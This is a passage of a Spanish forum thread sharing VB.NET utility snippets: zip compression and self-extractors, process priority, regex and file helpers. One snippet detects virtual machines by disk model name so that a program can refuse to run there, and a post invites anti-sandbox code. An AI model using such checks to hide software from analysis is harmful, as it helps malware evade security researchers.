  34.            My.Computer.FileSystem.WriteAllText(LogFile, vbNewLine & LogDate & MessageType & Message & vbNewLine, True)
  35.            Return True
  36.        Catch ex As Exception
  37.            'Return False
  38.            Throw New Exception(ex.Message)
  39.        End Try
  40.  
  41.    End Function
  42.  
  43. #End Region





· Cierra un proceso (No lo mata)

Código
  1. #Region " Close Process Function "
  2.  
  3.    ' [ Close Process Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Close_Process(Application.ExecutablePath)
  8.    ' Close_Process("notepad.exe")
  9.    ' Close_Process("notepad", False)
  10.  
  11.    Private Function Close_Process(ByRef Process_Name As String, _
  12.                                   Optional ByVal OnlyFirstFound As Boolean = True) As Boolean
  13.  
  14.        If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
  15.        Dim proc() As Process = Process.GetProcessesByName(Process_Name)
  16.  
  17.        If Not OnlyFirstFound Then
  18.            For proc_num As Integer = 0 To proc.Length - 1
  19.                Try : proc(proc_num).CloseMainWindow() _
  20.                    : Catch : Return False : End Try ' One of the processes can't be closed
  21.            Next
  22.            Return True
  23.        Else
  24.            Try : proc(0).CloseMainWindow() : Return True ' Close message sent to the process
  25.            Catch : Return False : End Try ' Can't close the process
  26.        End If
  27.  
  28.        Return Nothing ' ProcessName not found
  29.  
  30.    End Function
  31.  
  32. #End Region





· Buscar coincidencias de texto usando expresiones regulares

Código
  1. #Region " Find RegEx "
  2.  
  3.    ' [ Find RegEx Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' If Find_RegEx("abcdef", "^[A-Z]+$") Then MsgBox("Yes") Else MsgBox("No") ' Result: No
  9.    ' If Find_RegEx("abcdef", "^[A-Z]+$", True) Then MsgBox("Yes") Else MsgBox("No") ' Result: Yes
  10.  
  11.    Private Function Find_RegEx(ByVal str As String, ByVal Pattern As String, _
  12.                                 Optional ByVal Ignorecase As Boolean = False) As Boolean
  13.  
  14.        Dim RegExCase As System.Text.RegularExpressions.RegexOptions
  15.  
  16.        If Ignorecase Then _
  17.             RegExCase = System.Text.RegularExpressions.RegexOptions.IgnoreCase _
  18.        Else RegExCase = System.Text.RegularExpressions.RegexOptions.None
  19.  
  20.        Dim RegEx As New System.Text.RegularExpressions.Regex(Pattern, RegExCase)
  21.  
  22.        Return RegEx.IsMatch(str)
  23.  
  24.    End Function
  25.  
  26. #End Region





· Leer un texto línea por línea (For each line...) con posibilidad de saltar líneas en blanco.

Código
  1. #Region " Read TextFile Libe By Line "
  2.  
  3.    ' [ Read TextFile Libe By Line ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Read_TextFile_Libe_By_Line("C:\Test.txt")
  9.    ' Read_TextFile_Libe_By_Line("C:\Test.txt", True)
  10.  
  11.    Private Sub Read_TextFile_Libe_By_Line(ByVal TextFile As String, _
  12.                                           Optional ByVal Read_Blank_Lines As Boolean = False)
  13.        Dim Line As String = Nothing
  14.        Dim Text As IO.StreamReader = IO.File.OpenText(TextFile)
  15.        Dim RegEx As New System.Text.RegularExpressions.Regex("^\s+$")
  16.  
  17.        Do Until Text.EndOfStream
  18.  
  19.            Line = Text.ReadLine()
  20.  
  21.            If (Not Read_Blank_Lines _
  22.                AndAlso _
  23.               (Not Line = "" _
  24.                And Not RegEx.IsMatch(Line))) _
  25.                OrElse Read_Blank_Lines Then
  26.                ' Do things here...
  27.                MsgBox(Line)
  28.            End If
  29.  
  30.        Loop
  31.  
  32.        Text.Close() : Text.Dispose()
  33.  
  34.    End Sub
  35.  
  36. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Abril 2013, 16:38 pm
· Devuelve el valor de un nombre de un Enum

Código
  1. #Region " Get Enum Value "
  2.  
  3.    ' [ Get Enum Value Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_Enum_Value(DayOfWeek.Sunday)) ' Result: 0
  7.    ' MsgBox(Get_Enum_Value(DayOfWeek.Monday)) ' Result: 1
  8.  
  9.    Function Get_Enum_Value(Of T)(Byval ValueName As T) As Int32
  10.        Return Convert.ToInt32(ValueName)
  11.    End Function
  12.  
  13. #End Region




· Devuelve el nombre de un valor de un Enum

Código
  1. #Region " Get Enum Name "
  2.  
  3.    ' [ Get Enum ValueName Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_Enum_Name(Of DayOfWeek)(0)) ' Result: Sunday
  7.    ' MsgBox(Get_Enum_Name(Of DayOfWeek)(1)) ' Result: Monday
  8.  
  9.    Private Function Get_Enum_Name(Of T)(EnumValue As Integer) As String
  10.        Return [Enum].GetName(GetType(T), EnumValue)
  11.    End Function
  12.  
  13. #End Region





· Comparar dos archivos:

Código
  1. #Region " Compare Files "
  2.  
  3.    ' [ Compare Files Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Compare_Files("C:\File1.txt", "C:\File2.txt"))
  7.  
  8.    Private Function Compare_Files(ByVal File1 As String, ByVal File2 As String) As Boolean
  9.  
  10.        ' Set to true if the files are equal; false otherwise
  11.        Dim FilesAreEqual As Boolean = False
  12.  
  13.        With My.Computer.FileSystem
  14.  
  15.            ' Ensure that the files are the same length before comparing them line by line.
  16.            If .GetFileInfo(File1).Length = .GetFileInfo(File2).Length Then
  17.                Using file1Reader As New FileStream(File1, FileMode.Open), _
  18.                      file2Reader As New FileStream(File2, FileMode.Open)
  19.                    Dim byte1 As Integer = file1Reader.ReadByte()
  20.                    Dim byte2 As Integer = file2Reader.ReadByte()
  21.  
  22.                    ' If byte1 or byte2 is a negative value, we have reached the end of the file.
  23.                    While byte1 >= 0 AndAlso byte2 >= 0
  24.                        If (byte1 <> byte2) Then
  25.                            FilesAreEqual = False
  26.                            Exit While
  27.                        Else
  28.                            FilesAreEqual = True
  29.                        End If
  30.  
  31.                        ' Read the next byte.
  32.                        byte1 = file1Reader.ReadByte()
  33.                        byte2 = file2Reader.ReadByte()
  34.                    End While
  35.  
  36.                End Using
  37.            End If
  38.        End With
  39.  
  40.        Return FilesAreEqual
  41.    End Function
  42.  
  43. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: TrashAmbishion en 16 Abril 2013, 18:51 pm
Ja no tienes nada que hacer verdad !! GRacias por los aportes  ;-) ;-) ;-) ;-) ;-)

 ::) ;D

Dale suave !!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Abril 2013, 21:28 pm
· Comprimir con DotNetZip


Código
  1. #Region " DotNetZip Compress "
  2.  
  3.    ' [ DotNetZip Compress Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference to "Ionic.Zip.dll".
  9.    ' 2. Use the code below.
  10.    '
  11.    ' Examples:
  12.    ' DotNetZip_Compress("C:\File.txt")
  13.    ' DotNetZip_Compress("C:\Folder")
  14.    ' DotNetZip_Compress("C:\Folder", "C:\Folder\Test.zip", , CompressionLevel.BestCompression, "Password", EncryptionAlgorithm.WinZipAes256)
  15.  
  16.    Imports Ionic.Zip
  17.    Imports Ionic.Zlib
  18.  
  19.    Private Function DotNetZip_Compress(ByVal Input_DirOrFile As String, _
  20.                                      Optional ByVal OutputFileName As String = Nothing, _
  21.                                      Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
  22.                                      Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
  23.                                      Optional ByVal Password As String = Nothing, _
  24.                                      Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None _
  25.                                    ) As Boolean
  26.        Try
  27.            ' Create compressor
  28.            Dim Compressor As ZipFile = New ZipFile
  29.  
  30.            ' Set compression parameters
  31.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  32.            Compressor.CompressionMethod = CompressionMethod ' Compression method
  33.            Compressor.Password = Password ' Zip Password
  34.            Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
  35.  
  36.            If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then _
  37.                 Compressor.Encryption = EncryptionAlgorithm.None _
  38.            Else Compressor.Encryption = Encrypt_Password ' Encryption for Zip password.
  39.  
  40.            ' Add Progress Handler
  41.            ' AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_Progress
  42.  
  43.            ' Removes the end slash ("\") if is given for a directory.
  44.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  45.  
  46.            ' Generate the OutputFileName if any is given.
  47.            If OutputFileName Is Nothing Then _
  48.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".zip").Replace("\\", "\")
  49.  
  50.            ' Check if given argument is Dir or File ...then start the compression
  51.            If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
  52.                Compressor.AddDirectory(Input_DirOrFile)
  53.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
  54.                Compressor.AddFile(Input_DirOrFile)
  55.            End If
  56.  
  57.            Compressor.Save(OutputFileName)
  58.            Compressor.Dispose()
  59.  
  60.        Catch ex As Exception
  61.            'Return False ' File not compressed
  62.            Throw New Exception(ex.Message)
  63.        End Try
  64.  
  65.        Return True ' File compressed
  66.  
  67.    End Function
  68.  
  69.    'Public Sub DotNetZip_Compress_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
  70.    '
  71.    '    If e.EventType = ZipProgressEventType.Saving_Started Then
  72.    '        MsgBox("Begin Saving: " & _
  73.    '               e.ArchiveName) ' Destination ZIP filename
  74.    '
  75.    '    ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
  76.    '        MsgBox("Writing: " & e.CurrentEntry.FileName & _
  77.    '               " (" & (e.EntriesSaved + 1) & "/" & e.EntriesTotal & ")") ' Input filename to be compressed
  78.    '
  79.    '        ' ProgressBar2.Maximum = e.EntriesTotal   ' Count of total files to compress
  80.    '        ' ProgressBar2.Value = e.EntriesSaved + 1 ' Count of compressed files
  81.    '
  82.    '    ElseIf e.EventType = ZipProgressEventType.Saving_EntryBytesRead Then
  83.    '        ' ProgressBar1.Value = CType((e.BytesTransferred * 100) / e.TotalBytesToTransfer, Integer) ' Total Progress
  84.    '
  85.    '    ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
  86.    '        MessageBox.Show("Compression Done: " & vbNewLine & _
  87.    '                        e.ArchiveName) ' Compression finished
  88.    '    End If
  89.    '
  90.    'End Sub
  91.  
  92. #End Region





· Crear un SFX con DotNetZip

Código
  1. #Region " DotNetZip Compress SFX "
  2.  
  3.  
  4.    ' [ DotNetZip Compress SFX Function ]
  5.    '
  6.    ' // By Elektro H@cker
  7.    '
  8.    ' Instructions :
  9.    ' 1. Add a reference to "Ionic.Zip.dll".
  10.    ' 2. Use the code below.
  11.    '
  12.    ' Examples:
  13.    ' DotNetZip_Compress_SFX("C:\File.txt")
  14.    ' DotNetZip_Compress_SFX("C:\Folder")
  15.    '
  16.    ' DotNetZip_Compress_SFX( _
  17.    '    "C:\File.txt", "C:\Test.exe", , CompressionLevel.BestCompression, _
  18.    '    "MyPassword", EncryptionAlgorithm.WinZipAes256, , , _
  19.    '    ExtractExistingFileAction.OverwriteSilently, , , , _
  20.    '    System.IO.Path.GetFileName("notepad.exe") _
  21.    ' )
  22.  
  23.  
  24.    Imports Ionic.Zip
  25.    Imports Ionic.Zlib
  26.  
  27.    Private Function DotNetZip_Compress_SFX(ByVal Input_DirOrFile As String, _
  28.                                      Optional ByVal OutputFileName As String = Nothing, _
  29.                                      Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
  30.                                      Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
  31.                                      Optional ByVal Password As String = Nothing, _
  32.                                      Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None, _
  33.                                      Optional ByVal Extraction_Directory As String = ".\", _
  34.                                      Optional ByVal Silent_Extraction As Boolean = False, _
  35.                                      Optional ByVal Overwrite_Files As ExtractExistingFileAction = ExtractExistingFileAction.InvokeExtractProgressEvent, _
  36.                                      Optional ByVal Delete_Extracted_Files_After_Extraction As Boolean = False, _
  37.                                      Optional ByVal Icon As String = Nothing, _
  38.                                      Optional ByVal Window_Title As String = Nothing, _
  39.                                      Optional ByVal Window_Style As SelfExtractorFlavor = SelfExtractorFlavor.WinFormsApplication, _
  40.                                      Optional ByVal Command_Line_Argument As String = Nothing _
  41.                                    ) As Boolean
  42.        Try
  43.            ' Create compressor
  44.            Dim Compressor As ZipFile = New ZipFile
  45.  
  46.            ' Set compression parameters
  47.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  48.            ' Compression method
  49.            Compressor.Password = Password ' Zip Password
  50.            Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
  51.  
  52.            If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then
  53.                Compressor.Encryption = EncryptionAlgorithm.None ' No encryption because no password.
  54.                Compressor.CompressionMethod = CompressionMethod ' Set any compression method.
  55.            Else
  56.                Compressor.Encryption = Encrypt_Password ' Set Encryption for Zip password.
  57.                Compressor.CompressionMethod = CompressionMethod.Deflate ' Set deflate method to don't destroy the SFX if AES encryption.
  58.            End If
  59.  
  60.            Dim SFX_Options As New SelfExtractorSaveOptions()
  61.            SFX_Options.DefaultExtractDirectory = Extraction_Directory
  62.            SFX_Options.Quiet = Silent_Extraction
  63.            SFX_Options.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently
  64.            SFX_Options.RemoveUnpackedFilesAfterExecute = Delete_Extracted_Files_After_Extraction
  65.            SFX_Options.Flavor = Window_Style
  66.            SFX_Options.PostExtractCommandLine = Command_Line_Argument
  67.            If Not Icon Is Nothing Then SFX_Options.IconFile = Icon
  68.            If Not Window_Title Is Nothing Then SFX_Options.SfxExeWindowTitle = Window_Title
  69.  
  70.            ' Add Progress Handler
  71.            ' AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_SFX_Progress
  72.  
  73.            ' Removes the end slash ("\") if is given for a directory.
  74.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  75.  
  76.            ' Generate the OutputFileName if any is given.
  77.            If OutputFileName Is Nothing Then _
  78.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".exe").Replace("\\", "\")
  79.  
  80.            ' Check if given argument is Dir or File ...then start the compression
  81.            If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
  82.                Compressor.AddDirectory(Input_DirOrFile)
  83.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
  84.                Compressor.AddFile(Input_DirOrFile)
  85.            End If
  86.  
  87.            Compressor.SaveSelfExtractor(OutputFileName, SFX_Options)
  88.            Compressor.Dispose()
  89.  
  90.        Catch ex As Exception
  91.            'Return False ' File not compressed
  92.            Throw New Exception(ex.Message)
  93.        End Try
  94.  
  95.        Return True ' File compressed
  96.  
  97.    End Function
  98.  
  99.    ' Public Sub DotNetZip_Compress_SFX_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
  100.    '
  101.    '    If e.EventType = ZipProgressEventType.Saving_Started Then
  102.    '        MsgBox("Begin Saving: " & _
  103.    '               e.ArchiveName) ' Destination ZIP filename
  104.    '
  105.    '    ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
  106.    '        MsgBox("Writing: " & e.CurrentEntry.FileName & _
  107.    '               " (" & (e.EntriesSaved + 1) & "/" & e.EntriesTotal & ")") ' Input filename to be compressed
  108.    '
  109.    '        ' ProgressBar2.Maximum = e.EntriesTotal   ' Count of total files to compress
  110.    '        ' ProgressBar2.Value = e.EntriesSaved + 1 ' Count of compressed files
  111.    '
  112.    '    ElseIf e.EventType = ZipProgressEventType.Saving_EntryBytesRead Then
  113.    '        ' ProgressBar1.Value = CType((e.BytesTransferred * 100) / e.TotalBytesToTransfer, Integer) ' Total Progress
  114.    '
  115.    '    ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
  116.    '        MessageBox.Show("Compression Done: " & vbNewLine & _
  117.    '                        e.ArchiveName) ' Compression finished
  118.    '    End If
  119.    '
  120.    ' End Sub
  121.  
  122. #End Region





· Descomprimir con DotNetZip


Código
  1. #Region " DotNetZip Extract "
  2.  
  3.    ' [ DotNetZip Extract Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference to "Ionic.Zip.dll".
  9.    ' 2. Use the code below.
  10.    '
  11.    ' Examples:
  12.    ' DotNetZip_Extract("C:\File.zip")
  13.    ' DotNetZip_Extract("C:\File.zip", "C:\Folder\Test\", , "MyPassword")
  14.  
  15.    Imports Ionic.Zip
  16.    Imports Ionic.Zlib
  17.  
  18.    Dim ZipFileCount As Long = 0
  19.    Dim ExtractedFileCount As Long = 0
  20.  
  21.    Private Function DotNetZip_Extract(ByVal InputFile As String, _
  22.                                       Optional ByVal OutputDir As String = Nothing, _
  23.                                       Optional ByVal Overwrite As ExtractExistingFileAction = ExtractExistingFileAction.DoNotOverwrite, _
  24.                                       Optional ByVal Password As String = "Nothing" _
  25.                                     ) As Boolean
  26.        Try
  27.            ' Create Extractor
  28.            Dim Extractor As ZipFile = ZipFile.Read(InputFile)
  29.  
  30.            ' Set Extractor parameters
  31.            Extractor.Password = Password ' Zip Password
  32.            Extractor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
  33.            Extractor.ZipErrorAction = ZipErrorAction.Throw
  34.  
  35.            ' Specify the output path where the files will be extracted
  36.            If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
  37.  
  38.            ' Add Progress
  39.            'AddHandler Extractor.ExtractProgress, AddressOf DotNetZip_Extract_Progress ' Progress Handler
  40.            'For Each Entry As ZipEntry In Extractor.Entries : ZipFileCount += 1 : Next ' Total bytes size of Zip
  41.            'ZipFileCount = Extractor.Entries.Count ' Total files inside Zip
  42.  
  43.            ' Start the extraction
  44.            For Each Entry As ZipEntry In Extractor.Entries : Entry.Extract(OutputDir, Overwrite) : Next
  45.  
  46.            ZipFileCount = 0 : ExtractedFileCount = 0 ' Reset vars
  47.            Extractor.Dispose()
  48.            Return True ' File Extracted
  49.  
  50.        Catch ex As Exception
  51.            ' Return False ' File not extracted
  52.            Throw New Exception(ex.Message)
  53.        End Try
  54.  
  55.    End Function
  56.  
  57.    ' Public Sub DotNetZip_Extract_Progress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs)
  58.    '
  59.    '     If e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry Then
  60.    '         If ExtractedFileCount = 0 Then
  61.    '             MsgBox("Begin Extracting: " & _
  62.    '                     e.ArchiveName) ' Input ZIP filename
  63.    '         End If
  64.    '
  65.    '         ExtractedFileCount += 1
  66.    '         MsgBox("Writing: " & e.CurrentEntry.FileName & _
  67.    '                " (" & (ExtractedFileCount) & "/" & ZipFileCount & ")") ' Output filename uncompressing
  68.    '
  69.    '         ProgressBar1.Maximum = ZipFileCount     ' Count of total files to uncompress
  70.    '         ProgressBar1.Value = ExtractedFileCount ' Count of uncompressed files
  71.    '
  72.    '     ElseIf e.EventType = ZipProgressEventType.Extracting_AfterExtractEntry Then
  73.    '         If ExtractedFileCount = ZipFileCount Then
  74.    '             MessageBox.Show("Extraction Done: " & vbNewLine & _
  75.    '                             e.ArchiveName) ' Uncompression finished
  76.    '         End If
  77.    '     End If
  78.    '
  79.    ' End Sub
  80.  
  81. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Abril 2013, 05:24 am
· Modificar la prioridad de un proceso, por el nombre.

Código
  1. #Region " Set Process Priority By Name "
  2.  
  3.    ' [ Set Process Priority By Name Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Process_Priority_By_Name("notepad.exe", ProcessPriorityClass.RealTime)
  9.    ' Set_Process_Priority_By_Name("notepad", ProcessPriorityClass.Idle, False)
  10.  
  11.    Private Function Set_Process_Priority_By_Name(ByVal ProcessName As String, _
  12.                                      ByVal Priority As ProcessPriorityClass, _
  13.                                      Optional ByVal OnlyFirstFound As Boolean = True
  14.                                    ) As Boolean
  15.        Try
  16.            If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  17.  
  18.            For Each Proc As Process In System.Diagnostics.Process.GetProcessesByName(ProcessName)
  19.                Proc.PriorityClass = Priority
  20.                If OnlyFirstFound Then Exit For
  21.            Next
  22.  
  23.            Return True
  24.  
  25.        Catch ex As Exception
  26.            ' Return False
  27.            Throw New Exception(ex.Message)
  28.        End Try
  29.  
  30.    End Function
  31.  
  32. #End Region





· Modificar la prioridad de un proceso, por el handle y usando APIS.

Código
  1. #Region " Set Process Priority By Handle "
  2.  
  3.    ' [ Set Process Priority By Handle Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Process_Priority_By_Handle(Process.GetCurrentProcess().Handle, Process_Priority.RealTime)
  9.    ' Set_Process_Priority_By_Handle(33033, Process_Priority.Idle)
  10.  
  11.    Private Declare Function GetPriorityClass Lib "kernel32" (ByVal hProcess As Long) As Long
  12.    Private Declare Function SetPriorityClass Lib "kernel32" (ByVal hProcess As Long, ByVal dwPriorityClass As Long) As Long
  13.  
  14.    Public Enum Process_Priority As Int32
  15.        RealTime = 256
  16.        High = 128
  17.        Above_Normal = 32768
  18.        Normal = 32
  19.        Below_Normal = 16384
  20.        Low = 64
  21.    End Enum
  22.  
  23.    Private Function Set_Process_Priority_By_Handle(ByVal Process_Handle As IntPtr, _
  24.                                                    ByVal Process_Priority As Process_Priority) As Boolean
  25.  
  26.        SetPriorityClass(Process_Handle, Process_Priority)
  27.        If GetPriorityClass(Process_Handle) = Process_Priority Then _
  28.             Return True _
  29.        Else Return False ' Return false if priority can't be changed 'cause user permissions.
  30.  
  31.    End Function
  32.  
  33. #End Region





· modificar la prioridad del Thread actual:

Código
  1. #Region " Set Current Thread Priority "
  2.  
  3.    ' [ Set Current Thread Priority Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Current_Thread_Priority(Threading.ThreadPriority.AboveNormal)
  9.    ' MsgBox(Set_Current_Thread_Priority(Threading.ThreadPriority.Highest))
  10.  
  11.    Public Shared Function Set_Current_Thread_Priority(ByVal Thread_Priority As Threading.ThreadPriority) As Boolean
  12.        Try
  13.            Threading.Thread.CurrentThread.Priority = Thread_Priority
  14.            Return True
  15.        Catch ex As Exception
  16.            ' Return False
  17.            Throw New Exception(ex.Message)
  18.        End Try
  19.  
  20.    End Function
  21.  
  22. #End Region





Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 00:06 am
· Detectar la ejecución de la aplicación en una máquina virtual.


Código
  1. #Region " Detect Virtual Machine "
  2.  
  3.    ' [ Detect Virtual Machine Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference for "System.Management"
  9.    '
  10.    ' Examples :
  11.    ' MsgBox(Detect_Virtual_Machine)
  12.    ' If Detect_Virtual_Machine() Then MsgBox("This program cannot run on a virtual machine")
  13.  
  14.    Imports System.Management
  15.  
  16.    Private Function Detect_Virtual_Machine() As Boolean
  17.  
  18.        Dim ModelName As String = Nothing
  19.        Dim SearchQuery = New ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive WHERE BytesPerSector > 0")
  20.  
  21.        For Each ManagementSystem In SearchQuery.Get
  22.  
  23.            ModelName = ManagementSystem("Model").ToString.Split(" ").First.ToLower
  24.  
  25.            If ModelName = "virtual" Or _
  26.               ModelName = "vmware" Or _
  27.               ModelName = "vbox" Or _
  28.               ModelName = "qemu" _
  29.            Then
  30.                Return True ' Virtual machine HDD Model Name found
  31.            End If
  32.  
  33.        Next
  34.  
  35.        Return False ' Virtual machine HDD Model Name not found
  36.  
  37.    End Function
  38.  
  39. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 00:27 am
A ver si alguien se anima y hace un snippet Anti-Sandbox, que según he leido es bien fácil: http://www.aspfree.com/c/a/braindump/virtualization-and-sandbox-detection/ pero por desgracia hay demasiados software virtualizadores para ponerse a probar uno por uno para hacer una función genérica...

PD: ¿A nadie le interesa aportar snippets aquí? :(

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 04:22 am
· Animar la ventana con efectos

Código
  1. #Region " Animate Window "
  2.  
  3.    ' [ Animate Window ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' AnimateWindow(Me.Handle, 1500, Animation.Show_Fade)
  9.    ' AnimateWindow(Me.Handle, 1500, Animation.Hide_Center)
  10.  
  11.    Public Declare Function AnimateWindow Lib "user32" (ByVal hwnd As IntPtr, ByVal dwtime As Int64, ByVal dwflags As Animation) As Boolean
  12.  
  13.    Public Enum Animation As Int32
  14.  
  15.        Show_Left_To_Right = 1
  16.        Show_Right_To_left = 2
  17.        Show_Top_To_Bottom = 4
  18.        Show_Bottom_to_top = 8
  19.        Show_Corner_Left_UP = 5
  20.        Show_Corner_Left_Down = 9
  21.        Show_Corner_Right_UP = 6
  22.        Show_Corner_Right_Down = 10
  23.        Show_Center = 16
  24.        Show_Fade = 524288
  25.  
  26.        Hide_Left_To_Right = 1 Or 65536
  27.        Hide_Right_To_left = 2 Or 65536
  28.        Hide_Top_To_Bottom = 4 Or 65536
  29.        Hide_Bottom_to_top = 8 Or 65536
  30.        Hide_Corner_Left_UP = 5 Or 65536
  31.        Hide_Corner_Left_Down = 9 Or 65536
  32.        Hide_Corner_Right_UP = 6 Or 65536
  33.        Hide_Corner_Right_Down = 10 Or 65536
  34.        Hide_Center = 16 Or 65536
  35.        Hide_Fade = 524288 Or 65536
  36.  
  37.    End Enum
  38.  
  39. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 17:42 pm
· Ejemplo de un String multi-línea para aplicaciones de consola:

Código
  1.        Dim Logo As String = <a><![CDATA[
  2.  ___              _ _           _   _               _____ _ _   _      
  3. / _ \            | (_)         | | (_)             |_   _(_) | | |    
  4. / /_\ \_ __  _ __ | |_  ___ __ _| |_ _  ___  _ __     | |  _| |_| | ___
  5. |  _  | '_ \| '_ \| | |/ __/ _` | __| |/ _ \| '_ \    | | | | __| |/ _ \
  6. | | | | |_) | |_) | | | (_| (_| | |_| | (_) | | | |   | | | | |_| |  __/
  7. \_| |_/ .__/| .__/|_|_|\___\__,_|\__|_|\___/|_| |_|   \_/ |_|\__|_|\___|
  8.      | |   | |                                                        
  9.      |_|   |_|                                                        
  10.  
  11. ]]></a>.Value
  12.  
  13. Console.WriteLine(Logo)

(http://img191.imageshack.us/img191/259/captura1y.png)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 18:47 pm
· Setear los argumentos commandline por defecto del modo debug de la aplicación.

Código
  1. #Region " Set CommandLine Arguments "
  2.  
  3.    ' [ Set CommandLine Arguments Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' For Each Arg In Arguments : MsgBox(Arg) : Next
  9.  
  10.    Dim Arguments As List(Of String) = Set_CommandLine_Arguments()
  11.  
  12.    Public Function Set_CommandLine_Arguments() As List(Of String)
  13. #If DEBUG Then
  14.        ' Debug Commandline arguments for this application:
  15.        Dim DebugArguments = "Notepad.exe -Sleep 5 -Interval 50 -Key CTRL+C"
  16.        Return DebugArguments.Split(" ").ToList
  17. #Else
  18.        ' Nomal Commandline arguments
  19.        Return My.Application.CommandLineArgs.ToList
  20. #End If
  21.    End Function
  22.  
  23. #End Region


(http://img266.imageshack.us/img266/4114/prtscrcapture2j.jpg)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 19:34 pm
· Un Sub especial para el control de terceros "CButton", para modificar los colores (Y actualizar el estado de los colores).

http://www.codeproject.com/Articles/26622/Custom-Button-Control-with-Gradient-Colors-and-Ext

Código
  1. #Region " Change Cbutton Color "
  2.  
  3.    ' [ Change Cbutton Color ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' Change_Cbutton_Color(CButton1, Color.Black, Color.DarkRed, Color.Red)
  9.  
  10.  
  11.    Private Sub Change_Cbutton_Color(ByVal Button_Name As CButtonLib.CButton, _
  12.                                      ByVal Color1 As Color, _
  13.                                      ByVal Color2 As Color, _
  14.                                      ByVal Color3 As Color)
  15.  
  16.        Button_Name.ColorFillBlend.iColor(0) = Color1
  17.        Button_Name.ColorFillBlend.iColor(1) = Color2
  18.        Button_Name.ColorFillBlend.iColor(2) = Color3
  19.        Button_Name.UpdateDimBlends()
  20.  
  21.    End Sub
  22.  
  23. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2013, 22:35 pm
· comprueba si Aero está activado:

Código
